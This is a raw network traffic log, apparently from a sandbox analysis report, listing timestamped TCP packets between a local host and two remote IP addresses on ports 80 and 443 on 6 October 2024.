Oct 6, 2024 22:33:15.674926043 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.674943924 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.674959898 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.674964905 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.674974918 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.675014019 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.675050974 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.675121069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.675136089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.675157070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.675172091 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.675184965 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.675216913 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.675234079 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.675262928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.675278902 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.675292969 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.675312042 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.675313950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.675333023 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.675364017 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.675364017 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.675498962 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.675514936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.675529003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.675543070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.675553083 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.675558090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.675575018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.675575018 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.675591946 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.675604105 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.675611019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.675625086 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.675664902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.675877094 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.675904036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.675921917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.675935984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.675944090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.675950050 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.675966024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.676000118 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.676011086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.676028013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.676043034 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.676058054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.676073074 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.676074028 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.676089048 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.676095009 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.676105022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.676120996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.676136017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.676141977 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.676151991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.676166058 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.676170111 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.676187038 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.676206112 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.676232100 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.676799059 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.676815033 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.676829100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.676843882 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.676857948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.676872969 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.676878929 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.676887989 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.676904917 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.676906109 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.676923037 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.676925898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.676938057 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.676953077 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.676965952 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.676965952 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.676970959 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.677001953 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.677021980 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.677191019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.677206993 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.677239895 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.677270889 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.677357912 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.677373886 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.677398920 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.677414894 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.677424908 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.677429914 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.677445889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.677449942 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.677462101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.677478075 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.677489996 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.677491903 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.677508116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.677521944 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.677527905 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.677541971 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.677548885 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.677557945 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.677573919 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.677577972 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.677589893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.677609921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.677614927 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.677625895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.677635908 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.677643061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.677671909 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.677701950 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.678368092 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.678394079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.678409100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.678423882 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.678432941 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.678440094 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.678451061 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.678457022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.678472996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.678488016 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.678488016 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.678503036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.678505898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.678519964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.678534985 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.678543091 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.678550959 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.678566933 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.678574085 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.678582907 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.678595066 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.678599119 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.678615093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.678616047 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.678630114 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.678646088 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.678652048 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.678661108 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.678677082 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.678688049 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.678692102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.678708076 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.678725004 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.678760052 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.679311037 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.679327011 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.679341078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.679356098 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.679362059 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.679371119 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.679395914 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.679403067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.679403067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.679411888 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.679428101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.679435968 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.679442883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.679459095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.679474115 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.679478884 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.679488897 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.679502964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.679507017 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.679539919 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.679563999 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.740024090 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.741493940 CEST	49791	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.741523027 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.742037058 CEST	49791	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.742053032 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.761007071 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761029959 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761056900 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761086941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761096954 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.761105061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761121035 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.761122942 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761142015 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761157036 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.761192083 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761207104 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.761208057 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761226892 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761256933 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.761281013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.761317015 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761332989 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761347055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761363983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761373043 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.761390924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.761423111 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.761468887 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761486053 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761511087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761524916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761539936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761544943 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.761557102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761573076 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761588097 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761567116 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.761605024 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761609077 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.761635065 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.761663914 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.761879921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761907101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761921883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761936903 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761953115 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761957884 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.761967897 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761984110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.761986017 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.761998892 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.762006044 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.762016058 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.762031078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.762037039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.762046099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.762064934 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.762073994 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.762083054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.762109995 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.762132883 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.762449980 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.762465954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.762481928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.762497902 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.762514114 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.762516022 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.762530088 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.762542009 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.762543917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.762562990 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.762563944 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.762578011 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.762595892 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.762604952 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.762628078 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.762651920 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.762830973 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.762847900 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.762861967 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.762877941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.762876987 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.762895107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.762897968 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.762912035 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.762921095 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.762929916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.762938976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.762978077 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.763008118 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.787342072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.792934895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.836510897 CEST	443	49792	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.836904049 CEST	49792	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.836941957 CEST	443	49792	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.837351084 CEST	49792	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.837366104 CEST	443	49792	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.838999033 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.839128017 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.839194059 CEST	49791	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.839283943 CEST	49791	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.839313030 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.839339018 CEST	49791	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.839354992 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.842384100 CEST	49796	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.842407942 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.842494011 CEST	49796	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.842600107 CEST	49796	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.842607975 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.915345907 CEST	443	49793	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.920442104 CEST	49793	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.920480967 CEST	443	49793	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.920928955 CEST	49793	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.920936108 CEST	443	49793	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.940409899 CEST	443	49792	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.940537930 CEST	443	49792	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.940660000 CEST	49792	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.940731049 CEST	49792	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.940759897 CEST	443	49792	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.940788031 CEST	49792	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.940802097 CEST	443	49792	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.944322109 CEST	49797	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.944359064 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.944425106 CEST	49797	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.944607019 CEST	49797	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.944623947 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.968915939 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.968930960 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.968939066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.968978882 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.968986034 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.969001055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.969103098 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.969155073 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.969168901 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.969170094 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.969187021 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.969204903 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.969208956 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.969230890 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.969250917 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.969352007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.969367981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.969383955 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.969399929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.969404936 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.969434977 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.969469070 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.969516039 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.969532013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.969547987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.969567060 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.969604015 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.969604015 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.969715118 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.969731092 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.969746113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.969760895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.969774961 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.969777107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.969791889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.969793081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.969806910 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.969822884 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.969836950 CEST	49741	80	192.168.2.4	141.98.233.156
